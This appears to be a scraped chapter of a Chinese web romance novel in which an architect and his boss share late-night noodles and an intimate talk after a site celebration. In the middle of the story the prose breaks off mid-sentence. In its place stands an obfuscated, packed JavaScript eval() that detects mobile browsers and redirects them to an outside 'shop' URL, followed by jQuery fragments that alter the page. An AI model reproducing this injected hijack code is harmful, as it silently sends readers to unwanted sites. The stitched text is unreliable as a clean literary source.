23. 深夜食堂

作品:《时光赠礼

    庆功宴在工地附近的一家小餐馆。


    不是什么高档地方,塑料桌布,折叠椅,墙上的菜单用记号笔写着特价菜。但老板是老陈的远房亲戚,特意留了最大的包间,还送了两瓶白酒。


    工人们吵吵嚷嚷地落座,吆喝着点菜。林溪被拉到主位旁边,不断有人来敬酒。他不太会喝,但每一杯都抿一口,辣得皱眉。


    顾怀瑾坐在他对面,没怎么动筷子,只是安静地看着。他肩伤刚好,以茶代酒,没人敢劝。灯光下,他的侧脸线条柔和了许多。


    酒过三巡,气氛热烈起来。老陈开始讲年轻时的糗事,工人们笑得前仰后合。李阿姨和赵秀文坐在一起,小声说着什么,偶尔抹抹眼角。


    林溪趁乱溜到窗边透气。夜色中的城市灯火点点,远处厂房的轮廓在黑暗中隐现,只有导流渠的方向亮着一盏小灯——是值班工人留的。


    “不习惯?”顾怀瑾的声音在身后响起。


    林溪回头:“有点吵。”


    “工地人都这样。累了一天,需要宣泄。”顾怀瑾递给他一杯温水,“喝点,解酒。”


    水是温的,入喉舒适。两人并肩站在窗前,看着外面的夜景。


    “今天,”顾怀瑾忽然说,“你读信的时候,我想到一件事。”


    “什么?”


    “想到我第一次独立主持项目的时候。”他顿了顿,“也是旧厂房改造,在北京。那时我二十八岁,比你现在大五岁。完工那天,我也办了个庆功宴,比这热闹,在五星酒店。”


    林溪静静听着。


    “但我那天很不开心。”顾怀瑾的声音很轻,“因为我知道,那个项目虽然成功了,但它不是‘我’的。它是我导师的风格,是业主的喜好,是预算的限制。我只是个执行者。”


    窗外有车灯划过,照亮他眼里的情绪。


    “今天看你站在台上,读那封信的时候,我在想:这个项目是你的。不只是因为你是设计师,是因为……你让它有了灵魂。”


    这话太重,林溪一时不知如何回应。


    “顾总,这项目是您的——”


    “不。”顾怀瑾摇头,“是我的想法,但你的心。建筑就是这样,想法可以教,但心……教不了。”


    他转身,背靠着窗台,面对林溪:“接下来,你想建什么样的房子?”


    这个问题太突然,也太重要。林溪张了张嘴,却发不出声音。


    不是没有答案,是答案太多,堵在喉咙里。


    顾怀瑾笑了——那种很淡的、几乎看不见的笑:“不急。慢慢想。”


    包间里传来歌声。有工人喝高了,开始唱老歌,跑调得厉害,但情绪饱满。其他人跟着拍手,笑声震得天花板都在颤。


    “走吧,”顾怀瑾说,“进去再坐会儿,然后我们就溜。”


    回到座位,又应付了几轮敬酒。快十点时,顾怀瑾起身告辞,林溪跟着站起来。


    “林工这就走啊?”老陈大着舌头问。


    “明天还要去市图查资料。”林溪找了个借口。


    工人们起哄了几句,也就放行了。


    走出餐馆,夜风一吹,酒意散了大半。街道很安静,路灯把两人的影子拉得很长。


    “送你回去?”顾怀瑾问。


    “我想走走。醒醒酒。”


    “那一起走走吧。”


    他们沿着街道慢慢走。没有目的,只是往前走。偶尔有夜归的车驶过,车灯在路面投下流动的光。


    走过两个路口,顾怀瑾在一家还亮着灯的小店前停下。是家面馆,招牌上写着“24小时”。


    “饿了。”他说,“刚才没怎么吃。”


    店里很小,只有四五张桌子。老板是个中年男人,正趴在柜台上打盹,听见门铃响才抬起头。


    “两碗牛肉面。”顾怀瑾说,“一碗不要香菜。”


    林溪愣了愣——他不吃香菜,但从来没说过。


    “您怎么知道……”


    “上次一起吃饭,你把香菜都挑出来了。”顾怀瑾在靠窗的位置坐下,“记性还行。”


    面很快上来。热气腾腾,香气扑鼻。林溪是真的饿了,拿起筷子就吃。


    顾怀瑾吃得很慢,偶尔抬头看看窗外。深夜的街道空无一人,只有路灯孤独地亮着。


    “小时候,”他忽然说,“我爸常带我来这种小店吃夜宵。他画图到深夜,饿了,就把我从被窝里挖出来,说‘走,吃面去’。”


    林溪停下筷子。


    “那时候觉得面特别香。”顾怀瑾的声音很轻,“后来才明白,香的不是面,是那种……深夜只有我们两个人的感觉。像拥有了整个世界的安静。”


    他顿了顿:“我爸走了之后,我再也没在深夜吃过面。直到今天。”


    林溪看着碗里袅袅上升的热气,心脏某个柔软的地方被轻轻戳了一下。


    “顾总,”他轻声问,“您父亲……是个什么样的人?”


    顾怀瑾想了想:“固执。天真。不切实际。”


    每个词都像批评,但他的语气很温柔。


    “他总说,建筑应该让人幸福。但现实是,建筑首先要让人住得起,要符合规范,要能赚钱。”他用筷子搅着面,“所以他一直很痛苦——理想和现实撕扯的痛苦。”


    “那您呢?您痛苦吗?”


    这个问题太大胆。问出口的瞬间,林溪就后悔了。


    但顾怀瑾没有生气。他沉默了很久,久到面都快凉了。


    “以前痛苦。”他终于说,“但现在……好多了。”


    “因为想通了?”


    “因为遇到了你。”


    五个字。轻飘飘的,却重重砸在林溪心上。


    顾怀瑾说完,自己也愣了一下,然后低头吃面,仿佛刚才只是说了句“面还不错”。


    林溪的筷子停在半空。热气模糊了视线,他看不清顾怀瑾的表情。


    面馆里只有吸溜面条的声音,和远处冰箱低沉的嗡鸣。


    “我的意思是,”顾怀瑾重新开口,声音平静了些,“遇到一个能理解这些的人,很重要。建筑是孤独的职业,很多话,只能对懂的人说。”


    “我懂。”林溪说。


    “我知道你懂。”顾怀瑾抬头看他,“所以,谢谢。”


    简单两个字,但林溪听懂了里面的全部重量。


    他们吃完面,付钱,走出小店。夜色更深了,星星出来了,稀稀落落地挂在天上。


    “走回去吧。”顾怀瑾说,“不远了。”


    确实


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193495|197102||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不远。穿过一条小巷,再过两个路口,就是林溪的公寓楼。


    巷子很窄,只能容两人并肩。墙边堆着废弃的杂物,有野猫从垃圾桶后蹿出来,绿油油的眼睛在黑暗中一闪而过。


    “小心。”顾怀瑾伸手虚扶了一下林溪的胳膊。


    触碰很短暂,但温度透过布料传过来。林溪的呼吸停了一拍。


    走出巷子,眼前豁然开朗。公寓楼就在马路对面,还有几扇窗亮着灯。


    “到了。”顾怀瑾停下脚步。


    “您怎么回去?”


    “打车。”他拿出手机,“你先上去吧。”


    林溪站着没动。夜风吹过,带来远处夜市模糊的喧闹声。这一刻太安静,太珍贵,他不想结束。


    “顾总,”他听见自己的声音说,“那个问题……我有答案了。”


    “什么问题?”


    “想建什么样的房子。”


    顾怀瑾放下手机:“说。”


    林溪深吸一口气:“我想建那种……很多年后,有人站在里面,会觉得‘真好,这房子是为我建的’的那种房子。即使建的时候,我根本不知道他们是谁。”


    这话说得有些绕,但顾怀瑾听懂了。


    他点头,眼里有光:“很好的答案。”


    “还有,”林溪继续说,“我想建那种……能让赵秀英这样的人,觉得‘我的等待没有白等’的房子。能让普丽娅那样的人,觉得‘我也想建这样的房子’的房子。”


    顾怀瑾静静看着他。路灯的光落在他眼里,像落进深潭,漾开温柔的涟漪。


    “你会建成的。”他说。


    “您怎么知道?”


    “因为你是林溪。”顾怀瑾微笑,“因为你是那个,会在封顶仪式上读一封四十年旧信的人。”


    他的笑容很淡,但真实。卸下了所有专业面具,只剩下一个叫顾怀瑾的人。


    出租车来了。车灯刺破夜色。


    “我走了。”顾怀瑾拉开车门,又停下,“对了,下周一,那个国际奖的结果会公布。我们入围了。”


    林溪怔住:“图书馆项目?”


    “嗯。虽然不一定能得奖,但入围就是认可。”顾怀瑾顿了顿,“但我想告诉你——有没有那个奖,今天这个厂房,已经是最好的作品了。”


    车开走了。尾灯在夜色中渐行渐远,最后消失在拐角。


    林溪站在原地,很久没有动。


    夜风吹过,带来不知名的花香。


    他想起那碗面,想起巷子里的触碰,想起那句“因为遇到了你”。


    想起很多很多。


    然后他转身,走进公寓楼。


    电梯上升时,他看着镜面里自己的脸——眼睛很亮,像盛着整个夜晚的星光。


    回到房间,他打开电脑,新建了一个文档。


    标题写下:“未来想建的五种房子”。


    然后他想了想,删掉,重写:


    “想和顾怀瑾一起建的房子。”


    光标在句尾闪烁。他看着这行字,看了很久。


    然后他笑了。


    关上电脑,走到窗边。城市在脚下铺展,万家灯火如星河。


    其中有一盏,属于顾怀瑾。


    他知道。